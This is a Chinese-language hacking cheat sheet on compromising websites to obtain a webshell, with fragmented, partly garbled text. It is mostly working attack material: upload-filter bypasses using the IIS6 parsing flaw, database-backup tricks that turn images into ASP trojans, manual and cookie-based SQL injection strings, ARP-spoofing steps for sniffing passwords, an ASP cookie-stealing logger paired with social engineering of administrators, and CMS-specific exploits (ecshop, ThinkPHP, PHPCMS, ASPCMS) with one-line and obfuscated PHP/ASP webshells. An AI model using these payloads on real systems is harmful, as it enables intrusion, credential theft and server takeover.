1.直接上传asp

格式的木马不行就利用IIS6.0解析漏洞”:1.asp;1.jpg/1.asp;.jpg/1.asp;jpg/1.asp;.xls

2.上传图片木马遇到拦截系统连图片木马都上传不了记事本打开图片木马在代码最前面加上gif89a一般就能逃过拦截系统了。

3.上传图片木马把地址复制到数据库备份里备份成asp木马有时不成功就利用IIs6.0解析漏洞尝试突破。

4.上传图片木马再用抓包工具进行抓包用明小子的综合上传功能复制上传地址及cookies填到对应的框里点击上传即可。

5.当后台有数据库备份蛋没有上传点时把一句话木马插到任意处再到数据库备份里备份成asp木马之后用一句话客户端连接木马即可。

request(“h”)’设置成功后连接asp/config.asp即可拿下shell

则说明存在上传漏洞复制地址放到明小子里上传一般都能直接拿下shell。

8.当后台没有数据库备份但有数据库恢复的情况下请不要犹豫数据库恢复跟数据库备份功能是一样的直接邪恶吧。

9.如果知道网站的数据库是asp的直接在前台找留言板插入一句话木马连接配置文件inc/config.asp即可拿下shell。

10.当网站前台有“会员注册”

注册一个账户进去看看有没有上传点有的话直接上传asp木马以及利用iis6.0解析漏洞不行就抓包用明小子上传。

11.先上传一个.ashx的文件在笔记里搜索可找到方法结果是访问会生成一句话木马文件后台上传、编辑器上传、上传漏洞页面均可使用此方法。

12.当页面提示只能上传jpg|gif|png等格式的时候右键查看源文件本地修改为asp|asa|php再本地上传即可拿下shell。

13.当用啊D检测注入点提示SA权限或DB权限的时候尝试列猜eweb编辑器的都轻松.!

手工注入

IE浏览器-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉否则不论服务器返回什么错误IE都只显示为HTTP

and

http://www.xxx.com/show.asp?id7

程序报错

http://www.xxx.com/show.asp?idade7

程序报错

在URL地址后面加上-1若返回的页面和前面不同是另一个正常的页面则表示存在注入漏洞而且是数字型的注入漏洞。

在URL地址后面加上-0若返回的页面和之前的页面相同然后加上-1返回错误页面则也表示存在注入漏洞而且是数字型的。

如果报错提示这个

看看哪里可以替换假如显示有2就在2这里替换SCHEMA_NAME见下

第三步猜库名

注意TABLE_SCHEMA后面的库名必须是hex转换过的格式倒数第二个1一直替换直到爆出所有表段然后选最可能性的那个。

第五步猜字段

注意TABLE_SCHEMA后面的表段必须是hex转换过的格式倒数第二个1一直替换直到爆出所有字段然后选最可能性的那两个。

第六步猜内容

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

from

http://www.xxx.com/show.asp?id-178

union

当列名帐号跟列名密码都猜解对的时候页面将会显示相对应的内容一般的密码都经过MD5加密了解密地址

http://www.cmd5.com/

查看版本ewebeditor/dialog/about.html

db/%23ewebeditor.mdb

遍历ewebeditor/admin_uoloadfile.aspid14dir..

(dir为列)形式:dir

点上传文件管理-随便选择一个样式ewebeditor/admin/upload.asp?id16d_viewmodedir../

调用样式上传页面ewebeditor/ewebeditor.htm?idbodystylepopup

ewebeditor3.8

首先随便输入一个帐号和密码接着系统会提示出错这时清空浏览器的url然后输入以下代码后连按三次回车键

javascript:alert(document.cookie”adminuser”escape(”admin”));javascript:alert(document.cookie”adminpass”escape(”admin”));javascript:alert(document.cookie”admindj”escape(”1”));

接着访问文件ewebeditor/admin/default.php

ewebeditor编辑器exp手册

一文件上传成功了但是访问不成功说明该就行了.增加asp等不行的时候可以利用解析asp;jpg

页面路径/ewebeditor.asp?id48stylepopu7

用工具浏览数据库找到已添加asp|asa|cer|php的栏目把S_ID跟S_Name的值替换在语句里访问上传相对应的格式木马。

fckeditor编辑器

查看版本fckeditor/editor/dialog/fck_about.html

编辑器页面FCKeditor/_samples/default.html

上传页面fckeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/aspx/connector.aspx

FCKeditor/editor/filemanager/connectors/uploadtest.html

遍历下可能存在fck编辑器扫下这个再在这个上传个文件da.asp

内容为

在搜索框里我们输入一个关键词该关键词必须在这个站能搜索到信息。

比如这个站我输入了1搜索到了很多新闻判断这个搜索框是否有注入漏动。

html

用牛族字符转换器转换数字。

猜长度的时候选择对的前面那个错的数字或是直接把大于号改为等于号看看正确就是了

有的网站存在搜索框利用这个搜索框进行注射从而爆出管理帐号密码%’

and

1,admin,3,4,5,6,password,8,9,10

from

http://www.XXXXXX.com/News_search.asp?key1otypemsg

这里的key1就是说我们搜索得关键词1我们要做的就是把key1放到最后面把连接变成

http://www.XXXXXX.com/News_search.asp?otypemsgkey1

或者直接把otypemsg删除变成

http://www.XXXXXX.com/News_search.asp?key1

本地构造上传漏洞

在上传页面针对路径过滤不严导致可以修改上传相对路径上传脚本木马。

当检测到一个上传页面asp、asa后缀已经被过滤掉的时候可以尝试抓包明小子或NC上传

http://www.baidu.com/upfile_o***r.asp

1.右键查看源文件找到这段代码form

http://www.xxx.com/zwhua_upload1.asp”

2.再找到这段代码input

利用IIS6.0解析漏洞把以上代码中value处的文件补全即input

type”hidden”

3.接着保存为1.html将刚保存的文件拖进去C32里选择十六进制模式找到“1.asa;

4.本地打开上传图片格式的木马(不成功时可以尝试上传一句话木马)

如果提示成功后不显示路径的话可以右键查看源文件自己手工找出路径访问即可

利用双文件上传拿shell

因为网站只判断一次如果第一个文件后缀是在白名单里面的话就让其上传并没有判断第二个文件所以上传任意格式的文件也让其通过。

当系统验证cookie的时候就要用到火狐浏览器了登录网站进后台让火狐浏览器保存管理员的cookie值再把修改后的“双文件上传工具”拖进去上传。

1.在后台找上传点右键查看源文件找到上传地址一般在post或action的附近搜索即可找到一般为src”../xxx.htm”

2.这个还不是真正的上传页面真正的上传页面后缀是asp的继续查看源代码找到action”xxx.asp”补全路径访问即可

4.其实也可以抓包从而获得上传路径抓包之后在Referer:这栏还有常见的是htto://www.xxxx.com/upfile_o***r.asp

3.打开双文件上传工具替换为当前的上传地址保存后拖进火狐浏览器里第一个选择jpg木马第二个选择cer木马提交后右键查看源文件找出路径即可。

数据库备份抓包改包NC提交拿shell

当备份路径不能修改,后缀又是mdb不变的时候我们可先对备份的过程进行抓包再本地构造用NC提交即可突破备份数据库恢复也可使用此方法

在抓包的时候最好用火狐浏览器因为有的浏览器抓不到包首先上传一张图片木马复制下地址接着对备份过程进行抓包把抓到的数据复制在文本里面

开始本地修改先把POST处补全网址找到最底下的一行数据再复制多一行对比长度进行修改把备份的数据名称替换为木马地址备份的名称改为自己想要的asp后缀

再将原来的数据长度跟现在的对比同时替换掉最后看一共增加了多少个字符就在Content-Length:处进行增减用NC提交数据格式nc

801.txt

当上传jpg木马得到路径前去备份时发现数据库备功能用不了的情况下可以尝试本地构造突破拿shell

首先查看源文件找到“当前数据库路径”修改为刚上传jpg木马的路径再找到“数据库备份名称”修改为1.asa

找到“form

action”Backup.asp?actionBackup””

将路径补全“form

http://xxx.com/admin/Backup.asp?actionBackup“”

最后保存为1.html有的网站不验证cookie的话直接打开进行备份就能成功了但是一般都需要验证cookie这时就用上火狐浏览器了。

因为火狐浏览器有保留cookie的功能先登录后台以管理员的权限进行上传直接把1.html拖进火狐浏览器里直接点击备份即可突破cookie验证

本地构造限制上传类型漏洞

一般用于直接扫到的上传页面名称是上传图片上传asp、asa等脚本时提示“请选择jpg或gif文件!”

-vv

如果上传成功后没有将木马解析成asp可以尝试将文件名改成asa、cer、php

再不行就用IIS

这个方法相当于cookie欺骗首先到前台去注册一个会员注册成功后在登录的那一刻用抓包工具进行抓包把抓到的数据复制到1.txt里面。

接下来打开把双引号里棉的数据“X-Forwarded-For:

127.0.0.2′,group_id

在看到最底下的loginname这行代码把最后面的验证码改成当前会员登陆的验证码然后将nc\1.txt

放在同一个下然后运行简易IIS服务器在后面文件名问号jmdcw参数即可。

cookie手工突破防注入

检测网站是否存在注入点时如果提示你的IP已被记录就说明系统做了防注入措施可以用代码来突破。

格式order

比如猜到14错误那就是13了然后利用Cookie提交变量值代码javascript:alert(document.cookieid”escape(“这里填写变量值例如id408″));

开始猜解表段代码javascript:alert(document.cookie”id”escape(“变量值

and

复制在浏览器里打开将出现一个提示框点击确定就会注射进去再重新打开网站要在此处打开所以前面最好复制下网站地址

然后就会出现两个提示数字比如5跟6然后在代码的5跟6处猜帐号密码常见的帐号有user

username

http://www.XXXXXXXX.gov.cn/shownews.asp?id4098

首先把?id408去掉然后访问如果提示“数据库出错”就说明网站没有过滤Cookie提交方式可以利用Cookie欺骗绕过防注入

利用Cookie提交变量值代码javascript:alert(document.cookie”id”escape(“4098″)

下面开始在Cookie注入中执行常规注入攻击提交代码javascript:alert(document.cookie”id”escape(“4098

and

http://www.XXXXXXXX.gov.cn/shownews.asp

显示正常页面

再提交代码javascript:alert(document.cookie”id”escape(“4098

and

下面来开始猜解表段提交代码javascript:alert(document.cookie”id”escape(“4098

and

接着猜字段提交代码javascript:alert(document.cookie”id”escape(“4098

and

接着猜字段提交代码javascript:alert(document.cookie”id”escape(“4098

and

下面开始猜字段数跟字段内容了提交代码:javascript:alert(document.cookie”id”escape(“4098

and

一直猜解到对为止这里只是猜到6记得继续加减猜解到对的时候页面会出现数字然后在相对应的数字替换字段名再进行提交代码

这时如果字段名猜对的话就会爆出帐号密码了不对的话继续替换字段名位置不变存在cookie注入时建议参考mysql手工注入的语句

伪静态注入

伪静态网站注入方法莱鸟扫盲来了哦通常情况下动态脚本的网站的url类似下面这样

http://www.91ri.org/news.php?id111

http://www.91ri.org/news.php/id/111.html

以斜杠“/”代替了“”并在最后加上.html这样一来就无法直接用工具来注入了。

http://www.XXX.com/play/Diablo.html

那么当用户访问后程序会自动转换成类似

http://www.XXX.com/game.php?actionplaynameDiablo的形式

http://www.XXX.com/play/Diablo‘

and

http://www.XXX.com/play/Diablo‘

and

http://www.xxoo.net/aa.php?id123

http://www.xxoo.net/aa.php/id/123.html

以斜杠“/”代替了“”并在最后加上.html这样一来就无法直接用工具来注入了

当入侵一个网站该网站没有任何漏洞的情况下可以进行旁注再提权拿下任意一台服务器不行的话就C段提权拿下任意一台服务器。

只要能拿下同网段的任意一台服务器就可以使用C段嗅探来获取主站的帐号密码cain是一款强大的劫持工具。

在服务器里安装cain后打开主控端点击配置-选择服务器IP一项-在路由追踪一项取消全部-确定。

设置完毕后点击一下激动按钮(中间那个)再点击嗅探器点击加号符号选择所有在子网主机选择ARP测试(传播

扫描完毕选择网关一项点击ARP点击加号符号左边选择网关右边选择全部的C段确定点击开始嗅探按钮(第三个)嗅探到的帐号密码在口令一项展现

如果发现没数据可以使用幻境网盾来限制网速让cain的发包快过防火墙。

arp欺骗

只要该服务器存在C段都可以尝试arp欺骗用到的工具是NetFuke想知道arp劫持能不能成功cmd命令arp

安装完运行主控端设置–嗅探设置–网卡选择服务器的IP–控制选项选择“启用ARP欺骗、启用过滤器、启用分析器、启用修改器、主动转发”

设置–ARP欺骗–双向欺骗–来源Ip填服务器的网关–中间人IP填服务器的IP–目标IP填要欺骗的任意C段ip(用御剑扫描C段)–确定。

Body

%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[admin163.net].Value))).CreateInstance(“c”,

true,

System.Reflection.BindingFlags.Default,

null,

http://www.baicai.com/1.asp;1.jpg

改成如下名称,IIS6一样会解析:

baicai.asp?0day5.com%00.id69%20

and

在网站留言或者能输入信息的地方提交跨站代码从而盗取管理员cookie然后用cookie浏览器直接进入后台将以下代码保存为asp文件例如1.asp

%thisfileServer.MapPath(“cookie.txt”)msgRequest(“msg”)set

fsserver.CreateObject(“scripting.filesystemobject”)set

thisfilefs.OpenTextFile(thisfile,8,True,0)thisfile.WriteLine(“cookie:”msg”by:剑眉大侠”)thisfile.closeset

fsnothing%

再将1.asp放在wwwroot下生成一个cookie.txt文件这时我们只要访问cookie.txt这个文件就能知道管理员的cookie是多少了

然后再使用桂林老兵的cookie欺骗工具或是网页源代码查看分析器访问网站再输入cookie进行欺骗登录即可填cookei的时候记得选择自定义

小技巧要想让管理员早点浏览你提交的留言可以通过打电话QQ客服等去社工他即可。

%5C为十六进制的\符号而数据库大于5.0就可以爆库若一个网站数据库大于5.0且是ACESS数据库若不能注入的注入点是

http://www.xxx.com/rpc/show24.asp?id127

我们直接把%5C加到rpc后面因为%5C是爆二级:写入—打勾(可PUT)

动易cms拿shell

点击网站配置在网站名称后面插入一句话木马连接inc/config.asp

aspcms】

admin/_content/_About/AspCms_AboutEdit.asp?id1

and

1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35

from

第二种方法找到后台然后/admin/_system/AspCms_SiteSetting.asp?actionsaves

直接POST

[php]runMode1siteMode1siteHelp%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0

SwitchComments1SwitchCommentsStatus1switchFaq0:Yrequest(chr(35)):execute(Y)SwitchFaqStatus0dirtyStrwaterMark1

waterMarkFonthahahahawaterMarkLocation1smtp_usermailaspcmstest%40163.comsmtp_useraspcmstestsmtp_passwordaspcms.cn

smtp_serversmtp.163.comMessageAlertsEmail13322712%40qq.commessageReminded1orderReminded1applyReminded1commentReminded1

LanguageID1[/php]

老版本中可以通过添加模板直接添加asp.但是新版已经限制了添加模板的格式为html,js,css

当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.

方法点击“界面风格”然后选“编辑模板/CSS文件”然后“添加模板”文件名称写error.asp;.html文件内容写一句话%eval

request(“g”)%

然后添加会提示添加成功然后在模板列表中就可以找到我们添加的一句话了用菜刀连接即可

以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.

2、使用chorme的审查元素功能或者firefox的firebug总之使用能修改当前页面元素的工具就好了将对应的slidestyle的value的值修改为1%%Eval(Request

(chr(65)))%%

3、一句话木马密码a。

在/config/AspCms_Config.asp

XYCMS企业建站系统

request(“x”)%%’注意不要删掉网站名称然后中国菜刀连接/inc/config.asp

或是找到网站地址在http://后面加上一句话木马然后菜刀链接配置文件inc/config.asp

javascript:alert(document.cookie”adminuser”escape(“‘or’or’”));javascript:alert(document.cookie”adminpass”escape(“‘or’or’”));javascript:alert(document.cookie”admindj”escape(“1″));

1.后台一般存在一个szwyadmin文件夹复制一下后台地址放在一边之后复制代码替换后台地址访问进行注射

admin_index.asp

2一种java-web的MVC框架技术和传统的struts1有很大的改进。

2的核心使用的是WebWork而WebWork又是使用XWork来处理action的。

关键词inurl:common/common_info.action?wid

http://www.xxxxx.com/xxx.action

一般页面以.action结尾的几乎都存在这个漏洞可以用工具检测一下就知道了。

http://www.orsoon.com/Soft/12080.html

嘉友科技cms上传漏洞

谷歌关键字inurl:newslist.asp?NodeCode

程序采用的上传页uploadfile.asp未进行管理验证导致建立畸形是:uploadfile.asp?uppathPicPathupnameuptextform1.PicPath

而且他的上传文件没有过滤导致未授权访问直接上传小马然后小马后面写为1.jpg

访问路径

$filenchr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);

$filecchr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);

$achr(119);

后台-订单管理-订单打印-选择源代码编辑-保存-返回订单列表随意选择一个订单打印返回OK生成一句话成功-在根漏洞

优斯科技企业网站管理系统(YothCMS)是一款完全开源免费的CMS。

默认后台admin/login.asp

http://www.xx.com/maer.asp.“文件名称”即输入生成的木马的文件名。

“页面简介”也不用管下面就是页面内容了。

这里填入小马的代码。

一切完毕点击“添加”会提示保存自定义页面成功。

最后一步是要生成我们的木马页面。

Shopex4.8.5

http://www.lpboke.com/?product-gnotify”

method”post”

1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22

from

保存为html格式替换代码中的网站本地打开后点击小图标出现新页面帐号密码爆出来了默认后台shopadmin

拿shell方法….

id1273923028-info.xmltmpid1273923028nameindex_temp.phpfile_source

解释一下

http://Madman.in/***mes/文件名称/你的木马名称

ecshop漏洞总汇

普通代码user.php?actorder_queryorder_sn’

union

123456concat(user_name0x7cpassword0x7cemail)8

from

变种代码search.php?encodeYToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319

直接在网站后台加入代码回车就能爆出帐号密码再去掉代码加上/admin回车就能直接进后台了。

拿shell方法很简单找到“库项目管理”再选择“配送的方式”在代码最下面插入php一句话木马?php

eval($_POST[x]);?

打开“ASPPHP两用Shell.html”填入地址点击一下环境变量成功之后点击上传文件就可以拿shell了。

关键字inurl:index.php?acarticleatreaddid

admin/

注入点(爆表前缀比如cm_admin……前缀就是cm后面3个代码要自行替换):

index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,table_name,0×27,0x7e))

from

index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,username,0×27,0x7e))

from

index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,password,0×27,0x7e))

from

index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,username,0×27,password))

from

自定义页面-增加自定义页面-随便写个.php文件名内容写script

language”php”echo

base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4”);/script

如果内容直接添一句话或者php大马是无用的因为他会生成xxx.php前先给你执行

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4

?php

关键字inurl:down/class/index.php?myord

后台地址admin.php

注入地址down/class/index.php?myord1

表段pwn_base_admin

拿shell通杀漏洞登入后台–文章–文章发布–文章内容里的图片上传按钮–抓包之后改包NC提交。

找到“phpweb之exp”这个html拉进火狐浏览器器里上传1.php;.jpg的一句话木马查看源码菜刀连接

动科(dkcms)漏洞分析

由此可见官方安全意识挺差的至于后台拿shellfck编辑器突破可拿shell

建立asp文件夹

Fck的路径Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?CommandCreateFolderTypeImageCurrentFolder/mk.aspNewFolderNamemk.asp

百度关键字inurl:index.php?acarticleatreaddid

注入点(爆表前缀)index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,table_name,0×27,0x7e))

from

爆帐号index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,username,0×27,0x7e))

from

爆密码index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,password,0×27,0x7e))

from

帐号和密码一次性爆index.php?acsearchattaglisttagkey%2527,tags)

or(select

concat(0x7e,0×27,username,0×27,password))

from

进到后台后直接点击分类图片-修改-选择文件-直接上传php一句话木马

|php

http://thinkphp.cn/down-116.html

关键字thinkphp

获取Thinkphp的版本号index.php/module/action/param1/$%7Bprint(THINK_VERSION)%7D

获取服务器的配置信息index.php/module/aciton/param1/${phpinfo()}

列出网站所有文件列表index.php/module/action/param1/{${system($_GET[x])}}?xls

-al

直接在网页执行一句话index.php/module/action/param1/{${eval($_POST[s])}}

菜刀连接

http://www.xxx.com/index.php/module/action/param1/{${eval($_POST[s])}}

密码s

NewsType.asp?SmallClass’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%2012%20and%20”’

插入一句话木马后连接网站的配置文件inc/config.asp

1.网站配置-允许的上传文件类型-插入闭合的一句话木马”%%eval

request(“g”)%%s”

2.网站配置-网站地址-插入闭合的一句话木马http://”%%execute(request(“g”))%%’

3.网站配置-网站名称-插入闭合的一句话木马沧州临港彩越化工有限公司”%%eval

request(“g”)%%s”

4.网站配置-版权信息-插入闭合的一句话木马”%%eval(request(chr(103)))%%’

5.本方法适用于access数据库只要在access数据库任何地方插入┼攠數畣整爠煥敵瑳∨≡┩

再将mdb备份成asp或者asa访问这个asp或asa就是一句话木马。

直接访问会员中心userreg.asp

注册一个用户并在未退出登录的状态下使用双文件上传工具足以爆它菊花以下代码保存为1.html并里面的修改目标站第一个上传jpg第二个上传cer

HTMLHEAD

http://www.xxx.com/upfile_o***r.asp“;

methodpost

encTypemultipart/form-dataINPUT

typefile

另外可以利用会员中心的cookies用火狐浏览器登陆之后访问upfile_o***r.asp页面用抓包工具去抓包接着用明小子上传拿shell.

上传漏洞

前提是进入后台了访问这个文件将提示“请先选择你要上传的文件”用抓包工具抓管理员的cookies再把上传地址跟cookies扔到名小子里上传拿shell

南方在线编辑器

默认后台admin/Southidceditor/admin_style.asp

数据库路径admin/SouthidcEditor\Datas\SouthidcEditor.mdb

遍历换成了/plugins/目录这时就要把/plus/换成/plugins/进行注射了

破解出md5为20位结果只需要把前三位和后一位去掉剩余16位拿去解密即可

如何找后台

第一种方法data/mysql_error_trace.inc

第二种方法把域名作为后台去尝试

可能获得后台也可以获得其他旁注站一般dede的旁站很多也是dedecms的

PHPcms

直接爆出数据库连接信息/index.php?msearchcindexapublic_get_suggest_keywordurlasdfq../../phpsso_server/caches/configs/database.php

关于后台拿webshell进入后台后点击界面–模版风格–随便找个页面点击修改插入我们的一句话代码

$fp

‘’.?php’.”\r\n\r\n”.’eval($_POST[0day])’.”\r\n\r\n?”.”\r\n”);

点击保存接着点击可视化代码就成功执行了接着菜刀连接/0day.php密码0day